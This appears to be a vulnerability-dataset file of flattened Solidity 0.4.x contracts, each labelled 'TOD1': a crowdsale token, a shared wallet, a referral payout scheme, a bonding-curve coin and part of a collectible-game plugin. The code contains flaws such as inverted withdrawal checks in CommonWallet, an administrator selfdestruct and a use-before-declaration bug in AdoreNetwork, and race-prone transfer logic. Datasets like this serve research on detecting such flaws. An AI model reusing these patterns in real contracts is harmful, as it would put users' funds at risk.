pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } /** * Based on http://www.codecodex.com/wiki/Calculate_an_integer_square_root */ function sqrt(uint num) internal returns (uint) { if (0 == num) { // Avoid zero divide return 0; } uint n = (num / 2) + 1; // Initial estimate, never low uint n1 = (n + (num / n)) / 2; while (n1 < n) { n = n1; n1 = (n + (num / n)) / 2; } return n; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Crypto Masters Token * */ contract CryptoMastersToken is StandardToken { // metadata string public constant name = "Crypto Masters Token"; string public constant symbol = "CMT"; uint public constant decimals = 0; // crowdsale parameters uint public constant tokenCreationMin = 1000000; uint public constant tokenPriceMin = 0.0004 ether; // contructor parameters address public owner1; address public owner2; // contract state uint public EthersRaised = 0; bool public isHalted = false; // events event LogBuy(address indexed who, uint tokens, uint EthersValue, uint supplyAfter); /** * @dev Throws if called by any account other than one of the owners. */ modifier onlyOwner() { if (msg.sender != owner1 && msg.sender != owner2) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner1 The address to transfer ownership to. */ function transferOwnership1(address newOwner1) onlyOwner { require(newOwner1 != address(0)); owner1 = newOwner1; } function transferOwnership2(address newOwner2) onlyOwner { require(newOwner2 != address(0)); owner2 = newOwner2; } // constructor function CryptoMastersToken() { owner1 = msg.sender; owner2 = msg.sender; } /** * @dev Calculates how many tokens one can buy for specified value * @return Amount of tokens one will receive and purchase value without remainder. */ function getBuyPrice(uint _bidValue) constant returns (uint tokenCount, uint purchaseValue) { // Token price formula is twofold. We have flat pricing below tokenCreationMin, // and above that price linarly increases with supply. uint flatTokenCount; uint startSupply; uint linearBidValue; if(totalSupply < tokenCreationMin) { uint maxFlatTokenCount = _bidValue.div(tokenPriceMin); // entire purchase in flat pricing if(totalSupply.add(maxFlatTokenCount) <= tokenCreationMin) { return (maxFlatTokenCount, maxFlatTokenCount.mul(tokenPriceMin)); } flatTokenCount = tokenCreationMin.sub(totalSupply); linearBidValue = _bidValue.sub(flatTokenCount.mul(tokenPriceMin)); startSupply = tokenCreationMin; } else { flatTokenCount = 0; linearBidValue = _bidValue; startSupply = totalSupply; } // Solves quadratic equation to calculate maximum token count that can be purchased uint currentPrice = tokenPriceMin.mul(startSupply).div(tokenCreationMin); uint delta = (2 * startSupply).mul(2 * startSupply).add(linearBidValue.mul(4 * 1 * 2 * startSupply).div(currentPrice)); uint linearTokenCount = delta.sqrt().sub(2 * startSupply).div(2); uint linearAvgPrice = currentPrice.add((startSupply+linearTokenCount+1).mul(tokenPriceMin).div(tokenCreationMin)).div(2); // double check to eliminate rounding errors linearTokenCount = linearBidValue / linearAvgPrice; linearAvgPrice = currentPrice.add((startSupply+linearTokenCount+1).mul(tokenPriceMin).div(tokenCreationMin)).div(2); purchaseValue = linearTokenCount.mul(linearAvgPrice).add(flatTokenCount.mul(tokenPriceMin)); return ( flatTokenCount + linearTokenCount, purchaseValue ); } /** * Default function called by sending Ether to this address with no arguments. * */ function() payable { BuyLimit(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); } /** * @dev Buy tokens */ function Buy() payable external { BuyLimit(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); } /** * @dev Buy tokens with limit maximum average price * @param _maxPrice Maximum price user want to pay for one token */ function BuyLimit(uint _maxPrice) payable public { require(msg.value >= tokenPriceMin); assert(!isHalted); uint boughtTokens; uint averagePrice; uint purchaseValue; (boughtTokens, purchaseValue) = getBuyPrice(msg.value); if(boughtTokens == 0) { // bid to small, return ether and abort msg.sender.transfer(msg.value); return; } averagePrice = purchaseValue.div(boughtTokens); if(averagePrice > _maxPrice) { // price too high, return ether and abort msg.sender.transfer(msg.value); return; } assert(averagePrice >= tokenPriceMin); assert(purchaseValue <= msg.value); totalSupply = totalSupply.add(boughtTokens); balances[msg.sender] = balances[msg.sender].add(boughtTokens); LogBuy(msg.sender, boughtTokens, purchaseValue.div(1000000000000000000), totalSupply); if(msg.value > purchaseValue) { msg.sender.transfer(msg.value.sub(purchaseValue)); } EthersRaised += purchaseValue.div(1000000000000000000); } /** * @dev Withdraw funds to owners. */ function withdrawAllFunds() external onlyOwner { msg.sender.transfer(this.balance); } function withdrawFunds(uint _amount) external onlyOwner { require(_amount <= this.balance); msg.sender.transfer(_amount); } /** * * @dev When contract is halted no one can buy new tokens. * */ function haltCrowdsale() external onlyOwner { isHalted = !isHalted; } }
TOD1
pragma solidity ^0.4.16; contract ERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public pure returns (string) {} function symbol() public pure returns (string) {} function decimals() public pure returns (uint8) {} function totalSupply() public pure returns (uint256) {} function balanceOf(address _owner) public pure returns (uint256) { _owner; } function allowance(address _owner, address _spender) public pure returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract CommonWallet { mapping(address => mapping (address => uint256)) public tokenBalance; mapping(address => uint) etherBalance; address owner = msg.sender; function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } function depoEther() public payable{ etherBalance[msg.sender]+=msg.value; } function depoToken(address tokenAddr, uint256 amount) public { if (ERC20Token(tokenAddr).transferFrom(msg.sender, this, amount)) { tokenBalance[tokenAddr][msg.sender] = safeAdd(tokenBalance[tokenAddr][msg.sender], amount); } } function wdEther(uint amount) public{ require(etherBalance[msg.sender]>=amount); address sender=msg.sender; sender.transfer(amount); etherBalance[sender] = safeSub(etherBalance[sender],amount); } function wdToken(address tokenAddr, uint256 amount) public { require(tokenBalance[tokenAddr][msg.sender] < amount); if(ERC20Token(tokenAddr).transfer(msg.sender, amount)) { tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount); } } function getEtherBalance(address user) public view returns(uint256) { return etherBalance[user]; } function getTokenBalance(address tokenAddr, address user) public view returns (uint256) { return tokenBalance[tokenAddr][user]; } function sendEtherTo(address to_, uint amount) public { require(etherBalance[msg.sender]>=amount); require(to_!=msg.sender); to_.transfer(amount); etherBalance[msg.sender] = safeSub(etherBalance[msg.sender],amount); } function sendTokenTo(address tokenAddr, address to_, uint256 amount) public { require(tokenBalance[tokenAddr][msg.sender] < amount); require(!ERC20Token(tokenAddr).transfer(to_, amount)); tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount); } }
TOD1
pragma solidity ^0.4.11; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } contract CCCP { using SafeMath for uint256; address[] users; mapping(address => bool) usersExist; mapping(address => address) users2users; mapping(address => uint256) balances; mapping(address => uint256) balancesTotal; uint256 nextUserId = 0; uint256 cyles = 100; event Register(address indexed user, address indexed parentUser); event BalanceUp(address indexed user, uint256 amount); event ReferalBonus(address indexed user, uint256 amount); event GetMyMoney(address user, uint256 amount); function () payable public { msg.sender.transfer(msg.value); } function register(address parentUser) payable public{ require(msg.value == 20 finney); require(msg.sender != address(0)); require(parentUser != address(0)); require(!usersExist[msg.sender]); _register(msg.sender, msg.value, parentUser); } function _register(address user, uint256 amount, address parentUser) internal { if (users.length > 0) { require(parentUser!=user); require(usersExist[parentUser]); } users.push(user); usersExist[user]=true; users2users[user]=parentUser; emit Register(user, parentUser); uint256 referalBonus = amount.div(2); balances[parentUser] = balances[parentUser].add(referalBonus.div(2)); balancesTotal[parentUser] = balancesTotal[parentUser].add(referalBonus.div(2)); emit ReferalBonus(parentUser, referalBonus.div(2)); balances[users2users[parentUser]] = balances[users2users[parentUser]].add(referalBonus.div(2)); balancesTotal[users2users[parentUser]] = balancesTotal[users2users[parentUser]].add(referalBonus.div(2)); emit ReferalBonus(users2users[parentUser], referalBonus.div(2)); uint256 length = users.length; uint256 existLastIndex = length.sub(1); for (uint i = 1; i <= cyles; i++) { nextUserId = nextUserId.add(1); if(nextUserId > existLastIndex){ nextUserId = 0; } balances[users[nextUserId]] = balances[users[nextUserId]].add(referalBonus.div(cyles)); balancesTotal[users[nextUserId]] = balancesTotal[users[nextUserId]].add(referalBonus.div(cyles)); emit BalanceUp(users[nextUserId], referalBonus.div(cyles)); } } function getMyMoney() public { require(balances[msg.sender]>0); msg.sender.transfer(balances[msg.sender]); emit GetMyMoney(msg.sender, balances[msg.sender]); balances[msg.sender]=0; } function balanceOf(address who) public constant returns (uint256 balance) { return balances[who]; } function balanceTotalOf(address who) public constant returns (uint256 balanceTotal) { return balancesTotal[who]; } function getNextUserId() public constant returns (uint256 nextUserId) { return nextUserId; } function getUserAddressById(uint256 id) public constant returns (address userAddress) { return users[id]; } }
TOD1
pragma solidity ^0.4.26; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AdoreNetwork { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, uint256 totalSupply, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Adore Network Coin"; string public symbol = "ADC"; uint8 constant public decimals = 0; uint256 constant public totalSupply_ = 51000000; uint256 constant internal tokenPriceInitial_ = 270270000000000; uint256 constant internal tokenPriceIncremental_ = 162162162; uint256 public percent = 1500; uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_; /*================================ = DATASETS = ================================*/ uint256 internal tokenSupply_ = 0; mapping(address => bool) public administrators; mapping(address => address) public genTree; mapping(address => uint256) public rewardLedger; mapping(address => uint256) balances; IERC20 token = IERC20(0x6fcb0f30bC822a854D555b08648c349c7eBd82e1); address dev1; address dev2; constructor() public { administrators[msg.sender] = true; feeHolder_ = msg.sender; } function setAdministrator(address _admin) onlyAdministrator() public { administrators[_admin] = true; } function setDevelopers(address _dev1, address _dev2) onlyAdministrator() public { dev1 = _dev1; dev2 = _dev2; administrators[dev2] = true; } function setFeeHolder(address _feeHolder) onlyAdministrator() public { administrators[_feeHolder] = true; feeHolder_ = _feeHolder; } function buy(address _referredBy) public payable returns(uint256) { genTree[msg.sender] = _referredBy; purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; require(_amountOfTokens <= balances[_customerAddress]); uint256 _ethereum = tokensToEthereum_(_amountOfTokens,true); uint256 _dividends = _ethereum * percent/10000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); distributeComission(_dividends); balances[_customerAddress] -= _amountOfTokens; tokenSupply_ -= _amountOfTokens; _customerAddress.transfer(_taxedEthereum); emit Transfer(_customerAddress,address(this),_amountOfTokens); } address feeHolder_; function destruct() onlyAdministrator() public{ selfdestruct(feeHolder_); } function setPercent(uint256 newPercent) onlyAdministrator() public { percent = newPercent * 10; } function getRewards() public view returns(uint256) { return rewardLedger[msg.sender]; } function withdrawRewards() public returns(bool) { require(rewardLedger[msg.sender]>0); msg.sender.transfer(rewardLedger[msg.sender]); rewardLedger[msg.sender] = 0; } function distributeCommission(uint256 _amountToDistribute, address _idToDistribute) internal { for(uint i=0; i<5; i++) { address referrer = genTree[_idToDistribute]; if(referrer != 0x0) { rewardLedger[referrer] += _amountToDistribute*(5-i)/15; _idToDistribute = referrer; _amountToDistribute -= _amountToDistribute*(5-i)/15; } } rewardLedger[feeHolder_] += _amountToDistribute; } function distributeComission(uint256 _amountToDistribute) internal { rewardLedger[dev1] += _amountToDistribute*750/1000; rewardLedger[dev2] += _amountToDistribute*250/1000; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function totalEthereumBalance() public view returns(uint) { return address(this).balance; } function totalSupply() public pure returns(uint256) { return totalSupply_; } function tokenSupply() public view returns(uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balances[_customerAddress]; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return balances[_customerAddress]; } function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1,false); uint256 _dividends = _ethereum * percent/10000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { return currentPrice_; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell,false); uint256 _dividends = _ethereum * percent/10000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function reinvest() public returns(uint256){ require(rewardLedger[msg.sender]>0); uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]); rewardLedger[msg.sender] = 0; return _amountOfTokens; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = _ethereumToSpend * percent/10000; uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, false); return _amountOfTokens; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { address _customerAddress = msg.sender; uint256 _dividends = _incomingEthereum * percent/10000; uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, true); require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); balances[_customerAddress] = SafeMath.add(balances[_customerAddress], _amountOfTokens); distributeCommission(_dividends,msg.sender); require(SafeMath.add(_amountOfTokens,tokenSupply_) <= totalSupply_); // fire event emit Transfer(address(this),_customerAddress, _amountOfTokens); return _amountOfTokens; } function transfer(address _toAddress, uint256 _amountOfTokens) public returns(bool) { // setup address _customerAddress = msg.sender; balances[_customerAddress] = SafeMath.sub(balances[_customerAddress], _amountOfTokens); balances[_toAddress] = SafeMath.add(balances[_toAddress], _amountOfTokens); emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } function moveTokens(uint256 _amountOfTokens) public returns(bool) { address _customerAddress = msg.sender; require(balances[_customerAddress] >= _amountOfTokens); balances[_customerAddress] = SafeMath.sub(balances[_customerAddress], _amountOfTokens); emit Transfer(_customerAddress, address(this), _amountOfTokens); token.transfer(_customerAddress,_amountOfTokens); return true; } function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, bool buy) internal view returns(uint256) { uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tokenSupply = tokenSupply_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((_tokenSupply/3000000)+1)); uint256 _totalTokens = 0; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); uint256 tempbase = ((_tokenSupply/3000000)+1)*3000000; while((_tokensReceived + _tokenSupply) > tempbase){ _tokensReceived = tempbase - _tokenSupply; _ethereum = SafeMath.sub( _ethereum, ((_tokensReceived)/2)* ((2*_currentPrice)+((_tokensReceived-1) *_tokenPriceIncremental)) ); _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); _tokenPriceIncremental = ((tokenPriceIncremental_)*((((_tokensReceived) + _tokenSupply)/3000000)+1)); _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tempTokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); _tokenSupply = _tokenSupply + _tokensReceived; _totalTokens = _totalTokens + _tokensReceived; _tokensReceived = _tempTokensReceived; tempbase = ((_tokenSupply/3000000)+1)*3000000; } _totalTokens = _totalTokens + _tokensReceived; _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); if(buy == true) { currentPrice_ = _currentPrice; } return (_totalTokens); } function tokensToEthereum_(uint256 _tokens, bool sell) internal view returns(uint256) { uint256 _tokenSupply = tokenSupply_; uint256 _etherReceived = 0; uint256 tempbase = ((_tokenSupply/3000000)*3000000); uint256 _currentPrice = currentPrice_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((_tokenSupply/3000000)+1)); while((_tokenSupply - _tokens) < tempbase) { uint256 tokensToSell = _tokenSupply - tempbase; if(tokensToSell == 0) { _tokenSupply = _tokenSupply - 1; tempbase = ((_tokenSupply/3000000))*3000000; continue; } uint256 b = ((tokensToSell-1)*_tokenPriceIncremental); uint256 a = _currentPrice - b; _tokens = _tokens - tokensToSell; _etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+b)); _currentPrice = a; _tokenSupply = _tokenSupply - tokensToSell; _tokenPriceIncremental = (tokenPriceIncremental_*((_tokenSupply-1)/3000000)); tempbase = (((_tokenSupply-1)/3000000))*3000000; } if(_tokens > 0) { a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental); _etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental))); _tokenSupply = _tokenSupply - _tokens; _currentPrice = a; } if(sell == true) { currentPrice_ = _currentPrice; } return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
TOD1
pragma solidity ^0.4.23; pragma solidity ^0.4.23; pragma solidity ^0.4.23; pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } pragma solidity ^0.4.23; /// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase contract PluginInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isPluginInterface() public pure returns (bool); function onRemove() public; /// @dev Begins new feature. /// @param _cutieId - ID of token to auction, sender must be owner. /// @param _parameter - arbitrary parameter /// @param _seller - Old owner, if not the message sender function run( uint40 _cutieId, uint256 _parameter, address _seller ) public payable; /// @dev Begins new feature, approved and signed by COO. /// @param _cutieId - ID of token to auction, sender must be owner. /// @param _parameter - arbitrary parameter function runSigned( uint40 _cutieId, uint256 _parameter, address _owner ) external payable; function withdraw() external; } pragma solidity ^0.4.23; pragma solidity ^0.4.23; /// @title BlockchainCuties: Collectible and breedable cuties on the Ethereum blockchain. /// @author https://BlockChainArchitect.io /// @dev This is the BlockchainCuties configuration. It can be changed redeploying another version. interface ConfigInterface { function isConfig() external pure returns (bool); function getCooldownIndexFromGeneration(uint16 _generation, uint40 _cutieId) external view returns (uint16); function getCooldownEndTimeFromIndex(uint16 _cooldownIndex, uint40 _cutieId) external view returns (uint40); function getCooldownIndexFromGeneration(uint16 _generation) external view returns (uint16); function getCooldownEndTimeFromIndex(uint16 _cooldownIndex) external view returns (uint40); function getCooldownIndexCount() external view returns (uint256); function getBabyGenFromId(uint40 _momId, uint40 _dadId) external view returns (uint16); function getBabyGen(uint16 _momGen, uint16 _dadGen) external pure returns (uint16); function getTutorialBabyGen(uint16 _dadGen) external pure returns (uint16); function getBreedingFee(uint40 _momId, uint40 _dadId) external view returns (uint256); } contract CutieCoreInterface { function isCutieCore() pure public returns (bool); ConfigInterface public config; function transferFrom(address _from, address _to, uint256 _cutieId) external; function transfer(address _to, uint256 _cutieId) external; function ownerOf(uint256 _cutieId) external view returns (address owner); function getCutie(uint40 _id) external view returns ( uint256 genes, uint40 birthTime, uint40 cooldownEndTime, uint40 momId, uint40 dadId, uint16 cooldownIndex, uint16 generation ); function getGenes(uint40 _id) public view returns ( uint256 genes ); function getCooldownEndTime(uint40 _id) public view returns ( uint40 cooldownEndTime ); function getCooldownIndex(uint40 _id) public view returns ( uint16 cooldownIndex ); function getGeneration(uint40 _id) public view returns ( uint16 generation ); function getOptional(uint40 _id) public view returns ( uint64 optional ); function changeGenes( uint40 _cutieId, uint256 _genes) public; function changeCooldownEndTime( uint40 _cutieId, uint40 _cooldownEndTime) public; function changeCooldownIndex( uint40 _cutieId, uint16 _cooldownIndex) public; function changeOptional( uint40 _cutieId, uint64 _optional) public; function changeGeneration( uint40 _cutieId, uint16 _generation) public; function createSaleAuction( uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration ) public; function getApproved(uint256 _tokenId) external returns (address); function totalSupply() view external returns (uint256); function createPromoCutie(uint256 _genes, address _owner) external; function checkOwnerAndApprove(address _claimant, uint40 _cutieId, address _pluginsContract) external view; function breedWith(uint40 _momId, uint40 _dadId) public payable returns (uint40); function getBreedingFee(uint40 _momId, uint40 _dadId) public view returns (uint256); function restoreCutieToAddress(uint40 _cutieId, address _recipient) external; function createGen0Auction(uint256 _genes, uint128 startPrice, uint128 endPrice, uint40 duration) external; function createGen0AuctionWithTokens(uint256 _genes, uint128 startPrice, uint128 endPrice, uint40 duration, address[] allowedTokens) external; function createPromoCutieWithGeneration(uint256 _genes, address _owner, uint16 _generation) external; function createPromoCutieBulk(uint256[] _genes, address _owner, uint16 _generation) external; } pragma solidity ^0.4.23; pragma solidity ^0.4.23; contract Operators { mapping (address=>bool) ownerAddress; mapping (address=>bool) operatorAddress; constructor() public { ownerAddress[msg.sender] = true; } modifier onlyOwner() { require(ownerAddress[msg.sender]); _; } function isOwner(address _addr) public view returns (bool) { return ownerAddress[_addr]; } function addOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0)); ownerAddress[_newOwner] = true; } function removeOwner(address _oldOwner) external onlyOwner { delete(ownerAddress[_oldOwner]); } modifier onlyOperator() { require(isOperator(msg.sender)); _; } function isOperator(address _addr) public view returns (bool) { return operatorAddress[_addr] || ownerAddress[_addr]; } function addOperator(address _newOperator) external onlyOwner { require(_newOperator != address(0)); operatorAddress[_newOperator] = true; } function removeOperator(address _oldOperator) external onlyOwner { delete(operatorAddress[_oldOperator]); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract PausableOperators is Operators { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase contract CutiePluginBase is PluginInterface, PausableOperators { function isPluginInterface() public pure returns (bool) { return true; } // Reference to contract tracking NFT ownership CutieCoreInterface public coreContract; address public pluginsContract; // @dev Throws if called by any account other than the owner. modifier onlyCore() { require(msg.sender == address(coreContract)); _; } modifier onlyPlugins() { require(msg.sender == pluginsContract); _; } /// @dev Constructor creates a 